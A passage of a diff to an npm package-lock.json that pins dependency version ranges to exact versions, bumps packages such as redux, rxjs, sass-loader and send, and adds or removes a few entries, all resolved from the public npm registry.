"dom-helpers": "^3.3.1", - "loose-envify": "^1.4.0", - "prop-types": "^15.6.2", - "react-lifecycles-compat": "^3.0.4" + "dom-helpers": "3.4.0", + "loose-envify": "1.4.0", + "prop-types": "15.7.2", + "react-lifecycles-compat": "3.0.4" }, "dependencies": { "loose-envify": { @@ -14860,7 +16250,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "requires": { - "js-tokens": "^3.0.0 || ^4.0.0" + "js-tokens": "3.0.2" } } } @@ -14870,9 +16260,9 @@ "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", "requires": { - "load-json-file": "^1.0.0", - "normalize-package-data": "^2.3.2", - "path-type": "^1.0.0" + "load-json-file": "1.1.0", + "normalize-package-data": "2.4.0", + "path-type": "1.1.0" } }, "read-pkg-up": { @@ -14880,8 +16270,8 @@ "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", "requires": { - "find-up": "^1.0.0", - "read-pkg": "^1.0.0" + "find-up": "1.1.2", + "read-pkg": "1.1.0" } }, "readable-stream": { @@ -14890,10 +16280,10 @@ "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", + "core-util-is": "1.0.2", + "inherits": "2.0.3", "isarray": "0.0.1", - "string_decoder": "~0.10.x" + "string_decoder": "0.10.31" } }, "readdirp": { @@ -14901,32 +16291,35 @@ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.1.0.tgz", "integrity": "sha1-TtCtBg3zBzMAxIRANz9y0cxkLXg=", "dev": true, + "optional": true, "requires": { - "graceful-fs": "^4.1.2", - "minimatch": "^3.0.2", - "readable-stream": "^2.0.2", - "set-immediate-shim": "^1.0.1" + "graceful-fs": "4.1.11", + "minimatch": "3.0.4", + "readable-stream": "2.3.3", + "set-immediate-shim": "1.0.1" }, "dependencies": { "isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true + "dev": true, + "optional": true }, "readable-stream": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", "dev": true, + "optional": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~1.0.6", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.0.3", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "1.0.7", + "safe-buffer": "5.1.1", + "string_decoder": "1.0.3", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -14934,8 +16327,9 @@ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, + "optional": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -14947,9 +16341,9 @@ "dev": true, "requires": { "ast-types": "0.9.6", - "esprima": "~3.1.0", - "private": "~0.1.5", - "source-map": "~0.5.0" + "esprima": "3.1.3", + "private": "0.1.7", + "source-map": "0.5.6" }, "dependencies": { "esprima": { @@ -14965,12 +16359,12 @@ "resolved": "https://registry.npmjs.org/recompose/-/recompose-0.30.0.tgz", "integrity": "sha512-ZTrzzUDa9AqUIhRk4KmVFihH0rapdCSMFXjhHbNrjAWxBuUD/guYlyysMnuHjlZC/KRiOKRtB4jf96yYSkKE8w==", "requires": { - "@babel/runtime": "^7.0.0", - "change-emitter": "^0.1.2", - "fbjs": "^0.8.1", - "hoist-non-react-statics": "^2.3.1", - "react-lifecycles-compat": "^3.0.2", - "symbol-observable": "^1.0.4" + "@babel/runtime": "7.1.5", + "change-emitter": "0.1.6", + "fbjs": "0.8.17", + "hoist-non-react-statics": "2.5.5", + "react-lifecycles-compat": "3.0.4", + "symbol-observable": "1.2.0" } }, "redent": { @@ -14978,17 +16372,17 @@ "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz", "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", "requires": { - "indent-string": "^2.1.0", - "strip-indent": "^1.0.1" + "indent-string": "2.1.0", + "strip-indent": "1.0.1" } }, "redux": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.1.tgz", - "integrity": "sha512-R7bAtSkk7nY6O/OYMVR9RiBI+XghjF9rlbl5806HJbQph0LJVHZrU5oaO4q70eUKiqMRqm4y07KLTlMZ2BlVmg==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.4.tgz", + "integrity": "sha512-vKv4WdiJxOWKxK0yRoaK3Y4pxxB0ilzVx6dszU2W8wLxlb2yikRph4iV/ymtdJ6ZxpBLFbyrxklnT5yBbQSl3Q==", "requires": { - "loose-envify": "^1.4.0", - "symbol-observable": "^1.2.0" + "loose-envify": "1.4.0", + "symbol-observable": "1.2.0" }, "dependencies": { "loose-envify": { @@ -14996,7 +16390,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "requires": { - "js-tokens": "^3.0.0 || ^4.0.0" + "js-tokens": "3.0.2" } } } @@ -15018,9 +16412,9 @@ "integrity": "sha1-On0GdSDLe3F2dp61/4aGkb7+EoM=", "dev": true, "requires": { - "babel-runtime": "^6.18.0", - "babel-types": "^6.19.0", - "private": "^0.1.6" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0", + "private": "0.1.7" } }, "regex-cache": { @@ -15030,8 +16424,8 @@ "dev": true, "optional": true, "requires": { - "is-equal-shallow": "^0.1.3", - "is-primitive": "^2.0.0" + "is-equal-shallow": "0.1.3", + "is-primitive": "2.0.0" } }, "regex-not": { @@ -15040,8 +16434,17 @@ "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", "dev": true, "requires": { - "extend-shallow": "^3.0.2", - "safe-regex": "^1.1.0" + "extend-shallow": "3.0.2", + "safe-regex": "1.1.0" + } + }, + "regexp.prototype.flags": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.2.0.tgz", + "integrity": "sha512-ztaw4M1VqgMwl9HlPpOuiYgItcHlunW0He2fE6eNfT6E/CF2FtYi9ofOYe4mKntstYk0Fyh/rDRBdS3AnxjlrA==", + "dev": true, + "requires": { + "define-properties": "1.1.3" } }, "regexpp": { @@ -15056,9 +16459,9 @@ "integrity": "sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=", "dev": true, "requires": { - "regenerate": "^1.2.1", - "regjsgen": "^0.2.0", - "regjsparser": "^0.1.4" + "regenerate": "1.3.2", + "regjsgen": "0.2.0", + "regjsparser": "0.1.5" } }, "regjsgen": { @@ -15073,7 +16476,7 @@ "integrity": "sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=", "dev": true, "requires": { - "jsesc": "~0.5.0" + "jsesc": "0.5.0" }, "dependencies": { "jsesc": { @@ -15102,11 +16505,11 @@ "integrity": "sha1-iYyr/Ivt5Le5ETWj/9Mj5YwNsxk=", "dev": true, "requires": { - "css-select": "^1.1.0", - "dom-converter": "~0.1", - "htmlparser2": "~3.3.0", - "strip-ansi": "^3.0.0", - "utila": "~0.3" + "css-select": "1.2.0", + "dom-converter": "0.1.4", + "htmlparser2": "3.3.0", + "strip-ansi": "3.0.1", + "utila": "0.3.3" }, "dependencies": { "utila": { @@ -15134,7 +16537,7 @@ "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz", "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", "requires": { - "is-finite": "^1.0.0" + "is-finite": "1.0.2" } }, "request": { @@ -15143,28 +16546,28 @@ "integrity": "sha512-8H7Ehijd4js+s6wuVPLjwORxD4zeuyjYugprdOXlPSqaApmL/QOy+EB/beICHVCHkGMKNh5rvihb5ov+IDw4mg==", "dev": true, "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.6.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.5", - "extend": "~3.0.1", - "forever-agent": "~0.6.1", - "form-data": "~2.3.1", - "har-validator": "~5.0.3", - "hawk": "~6.0.2", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.17", - "oauth-sign": "~0.8.2", - "performance-now": "^2.1.0", - "qs": "~6.5.1", - "safe-buffer": "^5.1.1", - "stringstream": "~0.0.5", - "tough-cookie": "~2.3.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.1.0" + "aws-sign2": "0.7.0", + "aws4": "1.7.0", + "caseless": "0.12.0", + "combined-stream": "1.0.6", + "extend": "3.0.1", + "forever-agent": "0.6.1", + "form-data": "2.3.2", + "har-validator": "5.0.3", + "hawk": "6.0.2", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.18", + "oauth-sign": "0.8.2", + "performance-now": "2.1.0", + "qs": "6.5.1", + "safe-buffer": "5.1.1", + "stringstream": "0.0.5", + "tough-cookie": "2.3.4", + "tunnel-agent": "0.6.0", + "uuid": "3.2.1" }, "dependencies": { "mime-db": { @@ -15179,7 +16582,7 @@ "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", "dev": true, "requires": { - "mime-db": "~1.33.0" + "mime-db": "1.33.0" } }, "qs": { @@ -15196,7 +16599,7 @@ "integrity": "sha1-XTa7V5YcZzqlt4jbyBQf3yO0Tgg=", "dev": true, "requires": { - "throttleit": "^1.0.0" + "throttleit": "1.0.0" } }, "require-directory": { @@ -15209,16 +16612,6 @@ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=" }, - "require-uncached": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/require-uncached/-/require-uncached-1.0.3.tgz", - "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=", - "dev": true, - "requires": { - "caller-path": "^0.1.0", - "resolve-from": "^1.0.0" - } - }, "requires-port": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", @@ -15226,11 +16619,11 @@ "dev": true }, "resolve": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.10.0.tgz", - "integrity": "sha512-3sUr9aq5OfSg2S9pNtPA9hL1FVEAjvfOC4leW0SNf/mpnaakz2a9femSd6LqAww2RaFctwyf1lCqnTHuF1rxDg==", + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.12.0.tgz", + "integrity": "sha512-B/dOmuoAik5bKcD6s6nXDCjzUKnaDvdkRyAk6rsmsKLipWj4797iothd7jmmUhWTfinVMU+wc56rYKsit2Qy4w==", "requires": { - "path-parse": "^1.0.6" + "path-parse": "1.0.6" } }, "resolve-cwd": { @@ -15239,7 +16632,7 @@ "integrity": "sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=", "dev": true, "requires": { - "resolve-from": "^3.0.0" + "resolve-from": "3.0.0" }, "dependencies": { "resolve-from": { @@ -15250,11 +16643,33 @@ } } }, - "resolve-from": { + "resolve-dir": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-1.0.1.tgz", - "integrity": "sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=", - "dev": true + "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz", + "integrity": "sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=", + "dev": true, + "requires": { + "expand-tilde": "2.0.2", + "global-modules": "1.0.0" + }, + "dependencies": { + "global-modules": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz", + "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==", + "dev": true, + "requires": { + "global-prefix": "1.0.2", + "is-windows": "1.0.2", + "resolve-dir": "1.0.1" + } + } + } + }, + "resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==" }, "resolve-pathname": { "version": "2.2.0", @@ -15273,8 +16688,8 @@ "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", "dev": true, "requires": { - "onetime": "^2.0.0", - "signal-exit": "^3.0.2" + "onetime": "2.0.1", + "signal-exit": "3.0.2" } }, "ret": { @@ -15283,10 +16698,16 @@ "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", "dev": true }, + "retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=", + "dev": true + }, "rfdc": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.1.2.tgz", - "integrity": "sha512-92ktAgvZhBzYTIK0Mja9uen5q5J3NRVMoDkJL2VMwq6SXjVCgqvQeVP2XAaUY6HT+XpQYeLSjb3UoitBryKmdA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.1.4.tgz", + "integrity": "sha512-5C9HXdzK8EAqN7JDif30jqsBzavB7wLpaubisuQIGHWf2gUXSpzy6ArX/+Da8RjFpagWsCn+pIgxTMAmKw9Zug==", "dev": true }, "right-align": { @@ -15296,15 +16717,15 @@ "dev": true, "optional": true, "requires": { - "align-text": "^0.1.1" + "align-text": "0.1.4" } }, "rimraf": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", - "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", "requires": { - "glob": "^7.0.5" + "glob": "7.1.6" } }, "ripemd160": { @@ -15313,8 +16734,8 @@ "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==", "dev": true, "requires": { - "hash-base": "^3.0.0", - "inherits": "^2.0.1" + "hash-base": "3.0.4", + "inherits": "2.0.3" } }, "run-async": { @@ -15323,7 +16744,7 @@ "integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=", "dev": true, "requires": { - "is-promise": "^2.1.0" + "is-promise": "2.1.0" } }, "run-queue": { @@ -15332,7 +16753,7 @@ "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", "dev": true, "requires": { - "aproba": "^1.1.1" + "aproba": "1.2.0" } }, "rw": { @@ -15341,12 +16762,12 @@ "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q=" }, "rxjs": { - "version": "6.3.3", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz", - "integrity": "sha512-JTWmoY9tWCs7zvIk/CvRjhjGaOd+OVBM987mxFo+OW66cGpdKjZcpmc74ES1sB//7Kl/PAe8+wEakuhG4pcgOw==", + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.3.tgz", + "integrity": "sha512-wuYsAYYFdWTAnAaPoKGNhfpWwKZbJW+HgAJ+mImp+Epl7BG8oNWBCTyRM8gba9k4lk8BgWdoYm21Mo/RYhhbgA==", "dev": true, "requires": { - "tslib": "^1.9.0" + "tslib": "1.10.0" } }, "safe-buffer": { @@ -15360,7 +16781,7 @@ "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", "dev": true, "requires": { - "ret": "~0.1.10" + "ret": "0.1.15" } }, "safer-buffer": { @@ -15374,10 +16795,10 @@ "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.4.tgz", "integrity": "sha1-E/vWPNHK8JCLn9k0dq1DpR0eC0k=", "requires": { - "glob": "^7.0.0", - "lodash": "^4.0.0", - "scss-tokenizer": "^0.2.3", - "yargs": "^7.0.0" + "glob": "7.1.6", + "lodash": "4.17.10", + "scss-tokenizer": "0.2.3", + "yargs": "7.1.0" }, "dependencies": { "camelcase": { @@ -15390,9 +16811,9 @@ "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wrap-ansi": "^2.0.0" + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wrap-ansi": "2.1.0" } }, "is-fullwidth-code-point": { @@ -15400,7 +16821,7 @@ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "os-locale": { @@ -15408,7 +16829,7 @@ "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", "requires": { - "lcid": "^1.0.0" + "lcid": "1.0.0" } }, "string-width": { @@ -15416,9 +16837,9 @@ "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } }, "which-module": { @@ -15431,19 +16852,19 @@ "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz", "integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=", "requires": { - "camelcase": "^3.0.0", - "cliui": "^3.2.0", - "decamelize": "^1.1.1", - "get-caller-file": "^1.0.1", - "os-locale": "^1.4.0", - "read-pkg-up": "^1.0.1", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^1.0.2", - "which-module": "^1.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^5.0.0" + "camelcase": "3.0.0", + "cliui": "3.2.0", + "decamelize": "1.2.0", + "get-caller-file": "1.0.3", + "os-locale": "1.4.0", + "read-pkg-up": "1.0.1", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "1.0.2", + "which-module": "1.0.0", + "y18n": "3.2.1", + "yargs-parser": "5.0.0" } }, "yargs-parser": { @@ -15451,22 +16872,21 @@ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz", "integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=", "requires": { - "camelcase": "^3.0.0" + "camelcase": "3.0.0" } } } }, "sass-loader": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.1.0.tgz", - "integrity": "sha512-+G+BKGglmZM2GUSfT9TLuEp6tzehHPjAMoRRItOojWIqIGPloVCMhNIQuG639eJ+y033PaGTSjLaTHts8Kw79w==", + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.3.1.tgz", + "integrity": "sha512-tuU7+zm0pTCynKYHpdqaPpe+MMTQ76I9TPZ7i4/5dZsigE350shQWe5EZNl5dBidM49TPET75tNqRbcsUZWeNA==", "requires": { - "clone-deep": "^2.0.1", - "loader-utils": "^1.0.1", - "lodash.tail": "^4.1.1", - "neo-async": "^2.5.0", - "pify": "^3.0.0", - "semver": "^5.5.0" + "clone-deep": "4.0.1", + "loader-utils": "1.2.3", + "neo-async": "2.6.1", + "pify": "4.0.1", + "semver": "6.3.0" }, "dependencies": { "big.js": { @@ -15479,7 +16899,7 @@ "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", "requires": { - "minimist": "^1.2.0" + "minimist": "1.2.0" } }, "loader-utils": { @@ -15487,30 +16907,30 @@ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", "requires": { - "big.js": "^5.2.2", - "emojis-list": "^2.0.0", - "json5": "^1.0.1" + "big.js": "5.2.2", + "emojis-list": "2.1.0", + "json5": "1.0.1" } }, "pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" }, "semver": { - "version": "5.7.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz", - "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA==" + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" } } }, "scheduler": { - "version": "0.11.2", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.11.2.tgz", - "integrity": "sha512-+WCP3s3wOaW4S7C1tl3TEXp4l9lJn0ZK8G3W3WKRWmw77Z2cIFUW2MiNTMHn5sCjxN+t7N43HAOOgMjyAg5hlg==", + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.18.0.tgz", + "integrity": "sha512-agTSHR1Nbfi6ulI0kYNK0203joW2Y5W4po4l+v03tOoiJKpTBbxpNhWDvqc/4IcOw+KLmSiQLTasZ4cab2/UWQ==", "requires": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1" + "loose-envify": "1.3.1", + "object-assign": "4.1.1" } }, "schema-utils": { @@ -15519,8 +16939,8 @@ "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0" + "ajv": "6.5.2", + "ajv-keywords": "3.2.0" } }, "scss-tokenizer": { @@ -15528,8 +16948,8 @@ "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz", "integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=", "requires": { - "js-base64": "^2.1.8", - "source-map": "^0.4.2" + "js-base64": "2.5.1", + "source-map": "0.4.4" }, "dependencies": { "source-map": { @@ -15537,7 +16957,7 @@ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", "requires": { - "amdefine": ">=0.0.4" + "amdefine": "1.0.1" } } } @@ -15549,12 +16969,12 @@ "dev": true }, "selfsigned": { - "version": "1.10.4", - "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.4.tgz", - "integrity": "sha512-9AukTiDmHXGXWtWjembZ5NDmVvP2695EtpgbCsxCa68w3c88B+alqbmZ4O3hZ4VWGXeGWzEVdvqgAJD8DQPCDw==", + "version": "1.10.7", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.7.tgz", + "integrity": "sha512-8M3wBCzeWIJnQfl43IKwOmC4H/RAp50S8DF60znzjW5GVqTcSe2vWclt7hmYVPkKPlHWOu5EaWOMZ2Y6W8ZXTA==", "dev": true, "requires": { - "node-forge": "0.7.5" + "node-forge": "0.9.0" } }, "semver": { @@ -15563,24 +16983,24 @@ "integrity": "sha1-MAvG4OhjdPe6YQaLWx7NV/xlMto=" }, "send": { - "version": "0.16.2", - "resolved": "https://registry.npmjs.org/send/-/send-0.16.2.tgz", - "integrity": "sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw==", + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", + "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", "dev": true, "requires": { "debug": "2.6.9", - "depd": "~1.1.2", - "destroy": "~1.0.4", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", + "depd": "1.1.2", + "destroy": "1.0.4", + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "etag": "1.8.1", "fresh": "0.5.2", - "http-errors": "~1.6.2", - "mime": "1.4.1", - "ms": "2.0.0", - "on-finished": "~2.3.0", - "range-parser": "~1.2.0", - "statuses": "~1.4.0" + "http-errors": "1.7.2", + "mime": "1.6.0", + "ms": "2.1.1", + "on-finished": "2.3.0", + "range-parser": "1.2.1", + "statuses": "1.5.0" }, "dependencies": { "debug": { @@ -15590,26 +17010,40 @@ "dev": true, "requires": { "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + } } }, "mime": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.4.1.tgz", - "integrity": "sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ==", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", "dev": true }, - "statuses": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", - "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==", + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "dev": true + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", "dev": true } } }, "serialize-javascript": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-1.5.0.tgz", - "integrity": 